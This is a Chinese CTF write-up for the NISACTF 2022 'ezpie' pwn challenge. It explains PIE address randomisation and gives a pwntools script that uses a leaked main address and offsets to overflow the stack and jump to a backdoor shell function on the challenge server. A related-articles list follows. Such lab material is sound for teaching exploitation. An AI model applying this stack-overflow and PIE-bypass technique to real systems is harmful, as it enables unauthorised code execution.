[NISACTF 2022]ezpie- 入土为安的第十五天

简介: [NISACTF 2022]ezpie- 入土为安的第十五天

pwn的第3天

PIE保护ret2text栈

按照签到题的套路是找main,buf,shell,bin/sh/

但是是PIE保护

那有什么不一样的呢

PIE保护:

PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。

简单地说就是地址随机化。

这个题目的大致思路就是,通过接收输出的main函数的地址,再通过偏移量计算到后门函数的地址,之后,进行栈溢出攻击即可。

运行可以看到确实有70

这是因为pie是以内存页为单位随机的

一般情况下,一页为0x1000

所以后三位才会保持不变

main_real_addr=int(io.recv()[1:11],16)

from pwn import *
 
io=remote("node5.anna.nssctf.cn",26639)
 
#用于通过真实地址+偏移来计算任意函数真实地址
main_addr=0x770
shell_addr=0x80f
io.recvuntil(b"gift!")
 
#接收main的地址
main_real_addr=int(io.recv()[1:11],16)
print("main_real_addr:",main_real_addr)
 
#payload编写:溢出填充到返回地址前+后门函数真实地址(某函数真实地址+相对偏移量)
payload=b'a'*(0x28+4)
payload+=p32(main_real_addr+shell_addr-main_addr)
 
io.sendline(payload)
io.interactive()


目录
相关文章
|
4月前
|
Shell
[NISACTF 2022]ezstack-入土为安的第十四天
[NISACTF 2022]ezstack-入土为安的第十四天
56 0
|
4月前
[NISACTF 2022]bqt
[NISACTF 2022]bqt
38 0
|
4月前
[NISACTF 2022]huaji?
[NISACTF 2022]huaji?
54 0
|
4月前
|
Python
[NISACTF 2022]ezpython入土为安的第二十一天
[NISACTF 2022]ezpython入土为安的第二十一天
52 0
|
4月前
|
Shell
[SWPUCTF 2021 新生赛]gift_pwn-入土为安的第十五天
[SWPUCTF 2021 新生赛]gift_pwn-入土为安的第十五天
158 0
|
4月前
|
C语言
[NISACTF 2022]鸣神的国土
[NISACTF 2022]鸣神的国土
32 0
BUUCTF---misc---[BJDCTF2020]纳尼
BUUCTF---misc---[BJDCTF2020]纳尼
|
存储 小程序 API
TCA - 终章
TCA - 终章
97 0
|
JavaScript
29HUI - 图标及九宫格(hui-speed-dial-icons)
29HUI - 图标及九宫格(hui-speed-dial-icons)
48 0
2022天梯赛三月冲刺——PAT (Advanced Level)1013 Battle Over Cities (并查集找连通块)
2022天梯赛三月冲刺——PAT (Advanced Level)1013 Battle Over Cities (并查集找连通块)
116 0